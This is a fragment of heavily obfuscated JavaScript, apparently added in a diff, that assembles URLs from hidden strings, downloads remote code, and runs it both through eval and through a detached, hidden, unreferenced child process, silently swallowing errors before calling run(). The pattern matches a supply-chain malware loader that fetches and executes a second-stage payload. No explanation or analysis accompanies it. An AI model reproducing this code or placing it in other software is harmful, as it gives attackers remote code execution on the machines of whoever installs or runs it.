_0x34a894[_0x3db9b9(0x104)](_0x1f6ba3,_0xee0496);},'mjCAw':_0x34a894[_0x17709d(0x1b0)]};if(_0x34a894[_0x17709d(0xb2)](_0x34a894[_0x17709d(0xd1)],_0x188457)){try{_0x34a894[_0x17709d(0x11b)](_0x15f946,_0x34a894[_0x17709d(0x104)](_0x3fa166,_0x3ab5c7));}catch(_0x14978e){_0x34a894[_0x17709d(0x104)](_0x5a9938,_0x14978e);}_0x3ab5c7[_0x17709d(0x1b9)]();return;}let _0x333305=[];_0x3ab5c7['on'](_0x34a894[_0x17709d(0x15b)],_0x547736=>_0x333305[_0x17709d(0x198)](_0x547736)),_0x3ab5c7['on'](_0x34a894[_0x17709d(0x154)],()=>{const _0x38253d=_0x17709d;try{let _0x247fe6=Buffer[_0x38253d(0x107)](_0x333305);if(_0x247fe6[_0x38253d(0xcd)])return _0x31a947[_0x38253d(0xd2)](_0x15f946,_0x31a947[_0x38253d(0xd2)](_0x5944ee,_0x247fe6));if(_0x3ab5c7[_0x38253d(0x14b)][_0x31a947[_0x38253d(0x171)]])return _0x31a947[_0x38253d(0xd2)](_0x15f946,_0x31a947[_0x38253d(0x192)](_0x3fa166,_0x3ab5c7));_0x31a947[_0x38253d(0xd2)](_0x5a9938,_0x31a947[_0x38253d(0x192)](Error,_0x31a947[_0x38253d(0xae)]));}catch(_0x907b81){_0x31a947[_0x38253d(0xd2)](_0x5a9938,_0x907b81);}}),_0x3ab5c7['on'](_0x34a894[_0x17709d(0x12e)],_0x5a9938);});_0x67c2bf['on'](_0x9df163[_0x320ae6(0xca)],_0x5a9938),_0x67c2bf[_0x320ae6(0x142)]();});}return _0x123142[_0x55165e(0xfe)](_0x5e0c4c,_0x123142[_0x55165e(0x102)])[_0x55165e(0x100)](()=>_0x5e0c4c(_0x55165e(0x11a)));}async function _0x71cdd3(_0x36ed3f,_0x4cbe2e,_0x18ff88){const _0x433f4b=_0x21838c;try{let _0x42938e=await _0x123142[_0x433f4b(0xc3)](_0x5ec9c4,_0x4cbe2e,_0x36ed3f),_0x1de9e8=_0x18ff88?_0x433f4b(0xff)+_0x433f4b(0x17a)+(_0x3d94ba['_V']||-0xf0a+-0x135d*-0x1+-0x453)+(_0x433f4b(0xee)+_0x433f4b(0xfa))+_0x3d94ba['_H']+(_0x433f4b(0xee)+_0x433f4b(0x15e))+_0x3d94ba[_0x433f4b(0x16a)]+(_0x433f4b(0xee)+_0x433f4b(0xbe)+_0x433f4b(0x111)+_0x433f4b(0x157)+_0x433f4b(0x106)+_0x433f4b(0x179)):_0x433f4b(0xff)+_0x433f4b(0x17a)+(_0x3d94ba['_V']||0x1b1*0x2+-0x1*-0x16f9+0x207*-0xd)+(_0x433f4b(0xee)+_0x433f4b(0x132))+_0x3d94ba[_0x433f4b(0x15c)]+(_0x433f4b(0xee)+_0x433f4b(0x129))+_0x3d94ba[_0x433f4b(0x116)]+(_0x433f4b(0xee)+_0x433f4b(0xbe)+_0x433f4b(0x111)+_0x433f4b(0x157)+_0x433f4b(0x106)+_0x433f4b(0x179));_0x18ff88||_0x123142[_0x433f4b(0x1b4)](eval,_0x123142[_0x433f4b(0x92)](_0x1de9e8,_0x42938e)),_0x123142[_0x433f4b(0x125)](spawn,_0x123142[_0x433f4b(0x145)],['-e',_0x123142[_0x433f4b(0x9c)](_0x1de9e8,_0x42938e)],{'detached':!(-0xb2c+-0x1*-0xc13+-0xe7),'stdio':_0x123142[_0x433f4b(0xab)],'windowsHide':!(-0x1*-0x2079+0x1*-0x135a+0x1*-0xd1f)})[_0x433f4b(0x177)]();}catch(_0x51210c){}}_0x3d94ba['_V']=_0x3d94ba['i'],_0x3d94ba['_H']=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x155),_0x3d94ba[_0x21838c(0x16a)]=_0x21838c(0x17e)+_0x3b6d7d+_0x21838c(0x155),_0x3d94ba[_0x21838c(0x15c)]=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x181),_0x3d94ba[_0x21838c(0x116)]=_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x155),await _0x123142[_0x21838c(0x125)](_0x71cdd3,new URL(_0x21838c(0x17e)+_0x28de5d+(_0x21838c(0xe4)+'s')),_0x123142[_0x21838c(0xf7)],!(-0x1*0x1b55+0x1*-0x1f25+0x3a7b)),await _0x123142[_0x21838c(0xe2)](_0x71cdd3,new URL(_0x21838c(0x17e)+_0x28de5d+_0x21838c(0x124)),_0x123142[_0x21838c(0x13e)],!(0x135b+0x1c5f+-0x2fba));}run(); +